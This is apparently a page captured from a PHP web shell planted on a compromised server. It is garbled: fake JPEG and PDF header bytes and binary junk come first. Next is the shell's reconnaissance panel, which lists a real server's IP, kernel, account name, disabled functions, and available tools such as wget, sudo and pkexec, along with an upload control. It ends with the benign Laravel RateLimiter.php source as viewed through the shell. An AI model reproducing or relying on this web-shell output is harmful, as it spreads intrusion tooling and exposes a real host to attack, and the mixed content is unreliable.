ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 157.90.209.209 / Your IP : 216.73.216.148 [ Web Server : Apache System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64 User : evidenciarevista ( 1049) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Domains : 216 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/evidenciarevista/admin/vendor/laravel/framework/src/Illuminate/Cache/ |
Upload File : |
<?php namespace Illuminate\Cache; use Illuminate\Contracts\Cache\Repository as Cache; class RateLimiter { /** * The cache store implementation. * * @var \Illuminate\Contracts\Cache\Repository */ protected $cache; /** * Create a new rate limiter instance. * * @param \Illuminate\Contracts\Cache\Repository $cache * @return void */ public function __construct(Cache $cache) { $this->cache = $cache; } /** * Determine if the given key has been "accessed" too many times. * * @param string $key * @param int $maxAttempts * @param int $decayMinutes * @return bool */ public function tooManyAttempts($key, $maxAttempts, $decayMinutes = 1) { $lockedOut = $this->cache->has($key.':lockout'); if ($this->attempts($key) > $maxAttempts || $lockedOut) { if (! $lockedOut) { $this->cache->add($key.':lockout', time() + ($decayMinutes * 60), $decayMinutes); } return true; } return false; } /** * Increment the counter for a given key for a given decay time. * * @param string $key * @param int $decayMinutes * @return int */ public function hit($key, $decayMinutes = 1) { $this->cache->add($key, 1, $decayMinutes); return (int) $this->cache->increment($key); } /** * Get the number of attempts for the given key. * * @param string $key * @return mixed */ public function attempts($key) { return $this->cache->get($key, 0); } /** * Clear the hits and lockout for the given key. * * @param string $key * @return void */ public function clear($key) { $this->cache->forget($key); $this->cache->forget($key.':lockout'); } /** * Get the number of seconds until the "key" is accessible again. * * @param string $key * @return int */ public function availableIn($key) { return $this->cache->get($key.':lockout') - time(); } }